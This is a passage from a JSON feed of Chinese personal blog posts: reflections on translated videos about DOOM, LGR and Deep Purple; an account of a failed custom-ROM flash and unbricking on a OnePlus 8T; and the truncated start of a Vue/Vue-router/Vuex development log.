Plenty)\u003cbr/\u003e\n4.终极暴力(Ultra-Violence)\u003cbr/\u003e\n5.噩梦模式(Nightmare)\u003cbr/\u003e\n感谢工程师NopeNope 提供的翻译。我觉得最简单难度那里有个问号吧。\u003c/p\u003e\n\u003cp\u003e1.深入尸堆(Knee-Deep in the Dead)\u003cbr/\u003e\n2.地狱之海(The Shores of Hell)\u003cbr/\u003e\n3.炼狱的试炼(Inferno)\u003cbr/\u003e\n同理,感谢提供翻译的人。实际上我玩的时候,没有注意这些。电子游戏的剧情真的就是爱情动作片呗(John Carmark因此开除了Tom Hall)。\u003c/p\u003e\n\u003cp\u003e勘误:Unreal和Thief都是该时代相对先进的第一人称游戏\u003cbr/\u003e\n感谢今哥的野望的勘误。Unreal在1990年由育碧发行,而Thief是1981年发行的街机游戏。详询可以Bing一下。\u003cbr/\u003e\n回顾:Unreal是虚幻啊,我当时在想什么……\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e毁灭战士绝对是一个好游戏,我玩的十分上劲。而这个视频也是我的得意之作,因为这个视频的梗我玩的十分的溜(不是),因为当时我看经典名著电视剧比较多(没错,我在高考后才开始看)。顺便说一句,我到现在为止仍然很不喜欢《红楼梦》,不过里面的贾母让我想到了我的奶奶,都是十分疼爱孙子的。\u003cbr/\u003e\n实际上现在有很多游戏的画质更好,但我觉得有些游戏真正吸引我的是玩法的复杂多样和音乐的经典。这个游戏的玩法说简单,就是WASD(不是原版,是GZDOOM),说复杂,就有平移跳跃之类,而在这方面我基本不懂,而且我也是手残党。\u003cbr/\u003e\n而在音乐方面,就是Bobby Prince编写的重金属配乐。节奏感和旋律性十分强,有些配乐我也十分喜欢(诸如DOOM二代中的《DOOM》)。作为King Crimson的乐迷,我建议大家去听听《Starless》和E1M8的配乐:-)\u003c/p\u003e\n\u003ch2 id=\"第四个没事你用什么机架8bitguy的痛恨\"\u003e第四个:没事你用什么机架(8BitGuy的痛恨)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 组建一个更大,更好的MIDI机架山\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原来是提供了很多专业设备名称,我懒得截图了……\u003cbr/\u003e\n捕捉到大神 @我的同桌是初音\u003c/p\u003e\n\u003cp\u003e颜文字狂魔up(当时我的字幕随着音乐出现了Maggie Simpson的字符画)\u003cbr/\u003e\n要不然这么长的音乐你就光看着没劲的电脑屏幕。顺便说一句,这叫ASCII艺术。而这个是我的女神Maggie(因为她太可爱了)\u003c/p\u003e\n\u003cp\u003efedora forever(当时我的字幕随着音乐出现了一直牛说’Use Arch Linux at archlinux.org:-)\u0026#39;)\u003cbr/\u003e\nFedora我用过一段时间,确实软件包很新,软件更迭很快。但是Arch可以私人定制,所以我觉得还是Arch好(我是不会用gentoo的,没时间编译内核)。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本期视频我认为体现出LGR视频的一些特点。首先是口语的泛滥,他说话经常出现连词,因思想跟不上而出现的停顿(也许我搬运的视频都倾向于这些吧)。其次是内容,LGR的视频在专业的地方,确实是在认真地给大家讲;提前准备好的部分也能很好地把握时间;不过一到动手体验部分,就有点vblog的感觉了(尤其是上期讲SD卡相机)。这就导致LGR的视频在某种意义上,十分地长,我翻译也是越来越烦。那期线上淘二手我直接上机翻,结束噩梦了。\u003cbr/\u003e\n回顾:LGR的视频已经越来越长,早期视频更好受些。他废话能少些吗?!\u003cbr/\u003e\n说到机翻,我发现有人在Bilibili上传LGR的机翻视频,还有4K噱头,差点将一个刚翻译视频的给劝退了。我又想到了8bitGuy的空降正义,结果因为机翻太差,人民群众将原搬运工给叫了回来。对于这种现象,我是十分厌恶的。你这么做,这既是对原作者的不尊重,也是对我们翻译工的不尊重。原作者制作视频,是为了传播知识,而我们翻译视频,也是出于这样的目的。\u003c/p\u003e\n\u003ch2 id=\"第五个一个十分遗憾的乐队建议亲自观看体会\"\u003e第五个:一个十分遗憾的乐队(建议亲自观看体会)\u003c/h2\u003e\n\u003cp\u003e【熟肉】论低情商如何害了Deep Purple\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e人事问题不仅仅是情商的问题。\u003cbr/\u003e\n回复:确实是这样。人事问题还跟利益关系,个人性格等有关。Blackmore和Gillan在音乐方向上就不同,再加上两个人都很强势,这些是Mk2解散的根本原因。而低情商主要在于Blackmore将Glover给赶出去,Blackmore不喜欢Gillan,就拿他介绍过来的Glover撒气。实际上Glover不仅会弹Bass,而且会设计(他参与了Machine Head和Who Do We Think We Are!的封面,内页设计),会制作音乐,他的离去对于Deep Purple来说,绝对是一个打击。我觉得那个纪录片最重要的地方就是这个了,其他的诸如组队,录制洗脑神曲方面我觉得倒不重要。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到听音乐,我首先是从娘胎里开始听加州旅馆(还是1994地球厅那版,可惜CD让我给划了:-P)。到了初中我开始听张学友等经典音乐,因为网易云推荐(然后我天天在班里唱“吻鳖”)。到了高中,我开始知道了Pink Floyd,我最开始的那两个视频就是这个。然后是重金属三大头,Yes,King Crimson,Mike Oldfield,Genesis等前卫摇滚,进而是Metallica的前卫金属时期(The Call of Ktulu真是洗脑得不得了)\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结:\u003c/h2\u003e\n\u003cp\u003e还有好多想说的,不过我都在评论区里说完了,加上时间不早了,所以基本就是这些了。如果大家有啥想说的,留个言呗;如果大家喜欢的话,转发一下呗。祝大家新春快乐:-)\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/reading-reviews.html"},{"title":"我的一加8T刷机失败记录","time":"2021-02-03T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" alt=\"Featured image of post 我的一加8T刷机失败记录\"/\u003e\u003cp\u003e注意:本文不是详细教程,只是我的痛苦体验罢了,文章末尾我会给链接的。\u003c/p\u003e\n\u003cp\u003e最近我的 Nokia(HMD) 7 Plus 的充电口彻底没有办法充电了,所以我妈给我买了一台一加8T:-)\u003c/p\u003e\n\u003cp\u003e到手的第一件事嘛……一定是解锁呀。辛亏一加的解锁是相当容易的,开发者模式中开启“OEM 解锁”,然后 adb reboot bootloader 进入fastboot,再运行 fastboot oem unlock,手机上音量加减选择解锁,电源键选择即可。\u003c/p\u003e\n\u003cp\u003e然后我没想到的部分还是来了,鉴于本手机刚刚发布,很多第三方系统还没有完全适配。我最想用的Lineage没有官方,而crDroid是Beta品质,这都是我后来才发现的:-P\u003c/p\u003e\n\u003cp\u003e不过官方论坛上有教程,那自然是得一顿操作啦。可惜呢……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" loading=\"lazy\" alt=\"这个是我在Windows下的第二次失败,第一次是在Linux下的\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是我在Windows下的第二次失败,第一次是在Linux下的\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e开始是Linux系统下失败,然而在Windows下也失败了。我暂且认为是开发者用的是256G的,可我的是128G的原因吧。\u003c/p\u003e\n\u003cp\u003e无论如何,我必须得救砖了。然而救砖软件是Windows独占,我就启动了该死的Windows虚拟机,手机完全关机并同时按住上下键,映射到虚拟机(设备名字开头是高通啥的)。结果报错,自动检测DDR失败。我想是因为虚拟机映射有问题,所以我直接重装了该死的Windows(我上期翻译的视频字幕文件没了,其他的因为备份了,还在)来救砖。有一次电脑不认,我按住了上下键和电源键来强制开机。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\" loading=\"lazy\" alt=\"注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e救砖成功了,我又在Windows下尝试了好几遍fastboot,全部失败:-P 我看等成熟的卡刷可以实现的时候再说吧。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/failure-on-flash-oneplus-8t.html"}]},{"name":"神社的储物间","email":"","uri":"https://xeonds.github.io/","description":"*节操消失了*","article":[{"title":"Web开发日志-Vue篇","time":"2023-07-17T11:24:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Vue\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vue\" class=\"headerlink\" title=\"Vue\"\u003e\u003c/a\u003eVue\u003c/h2\u003e\u003ch3 id=\"关于Slot\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E5%85%B3%E4%BA%8ESlot\" class=\"headerlink\" title=\"关于Slot\"\u003e\u003c/a\u003e关于Slot\u003c/h3\u003e\u003cp\u003eSlot,即“插槽”,是Vue的一个很重要的功能。通过插槽,可以将其他的组件“插入”到当前组件的某个槽位。这个机制的优点,就是在保留了子组件的控制的同时,也给父组件保留了一定的内容控制权。比如elementUI,它的很多功能都提供了slot来让我们插入自定义的内容。\u003c/p\u003e\u003ch4 id=\"用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"用法\"\u003e\u003c/a\u003e用法\u003c/h4\u003e\u003cp\u003e它的用法很简单,分两部分。\u003c/p\u003e\u003col\u003e\u003cli\u003e组件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;slot name=\u0026#34;component-a\u0026#34; :param1=\u0026#34;123\u0026#34;\u0026gt;\u0026lt;/slot\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e父组件\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;Component\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;template #component-a=\u0026#34;{ param_1 }\u0026#34;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{{ param_1 }}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/Component\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面是完整示例,一个\u003cstrong\u003e具名\u003c/strong\u003e的\u003cstrong\u003e作用域\u003c/strong\u003e插槽。它将子组件的一个参数\u003ccode\u003eparam1\u003c/code\u003e通过解构赋值,回传到了父组件的形参\u003ccode\u003eparam_1\u003c/code\u003e中,并在其中渲染出了它的值。同时,父组件将这部分template中的内容传入了子组件中,和子组件的其他部分内容一同渲染。\u003c/p\u003e\u003ch2 id=\"Vue-router\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vue-router\" class=\"headerlink\" title=\"Vue-router\"\u003e\u003c/a\u003eVue-router\u003c/h2\u003e\u003ch3 id=\"历史模式的问题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E5%8E%86%E5%8F%B2%E6%A8%A1%E5%BC%8F%E7%9A%84%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"历史模式的问题\"\u003e\u003c/a\u003e历史模式的问题\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eVue-router\u003c/code\u003e支持多种历史模式。现在较为常用的一种就是\u003ccode\u003eHTML5\u003c/code\u003e模式。该模式下,浏览器显示的链接和正常的url一致,非常漂亮。但是需要后端路由的配置,否则会出现刷新页面出现404的问题。\u003c/p\u003e\u003cp\u003e除了\u003ccode\u003eHTML5\u003c/code\u003e模式,还有一种历史模式,叫做\u003ccode\u003ehash\u003c/code\u003e模式。它会在url中添加一个\u003ccode\u003e#\u003c/code\u003e来解决这个问题:\u003ccode\u003e#\u003c/code\u003e后面的部分在刷新时不会被后端认为是任何后端路由,因此也就不存在刷新后出现404的问题。\u003c/p\u003e\u003cp\u003e这一部分的配置在\u003ccode\u003ecreateRouter()\u003c/code\u003e的参数中进行配置:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e { createRouter, createWebHashHistory, createWebHistory } \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;vue-router\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecreateRouter\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// hash模式,无需后端配置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ehistory\u003c/span\u003e: \u003cspan class=\"title function_\"\u003ecreateWebHashHistory\u003c/span\u003e(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// html5模式,需要后端配置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003ehistory\u003c/span\u003e: \u003cspan class=\"title function_\"\u003ecreateWebHistory\u003c/span\u003e(),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eroutes\u003c/span\u003e: [ ... ]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"Vuex\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#Vuex\" class=\"headerlink\" title=\"Vuex\"\u003e\u003c/a\u003eVuex\u003c/h2\u003e\u003cp\u003e这是Vue官方出的状态管理插件。它用来管理整个单页程序的所有数据。\u003c/p\u003e\u003ch3 id=\"项目架构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#%E9%A1%B9%E7%9B%AE%E6%9E%B6%E6%9E%84\" class=\"headerlink\" title=\"项目架构\"\u003e\u003c/a\u003e项目架构\u003c/h3\u003e\u003cp\u003e使用Vuex时,最佳实践一般是使用模块来组织各个部分的数据。假设我们的项目的store目录结构如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e- store\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - modules\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module1.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module2.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - module3.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e - index.js\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么,我们可以在每个模块中这么定义数据:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e auth = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003estate\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003etoken\u003c/span\u003e: \u003cspan class=\"literal\"\u003enull\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003emutations\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003eSET_TOKEN\u003c/span\u003e(\u003cspan class=\"params\"\u003estate, token\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e state.\u003cspan class=\"property\"\u003etoken\u003c/span\u003e = token;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eactions\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003esetToken\u003c/span\u003e(\u003cspan class=\"params\"\u003e{ commit }, token\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003ecommit\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;SET_TOKEN\u0026#34;\u003c/span\u003e, token);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003egetters\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003egetToken\u003c/span\u003e(\u003cspan class=\"params\"\u003estate\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e state.\u003cspan class=\"property\"\u003etoken\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e auth;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在index.js中这么导入模块:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVue\u003c/span\u003e \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;vue\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;vuex\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e modules \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;./modules\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title class_\"\u003eVue\u003c/span\u003e.\u003cspan class=\"title function_\"\u003euse\u003c/span\u003e(\u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e store = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e.\u003cspan class=\"title class_\"\u003eStore\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e modules,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eplugins\u003c/span\u003e: [localStoragePlugin]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e 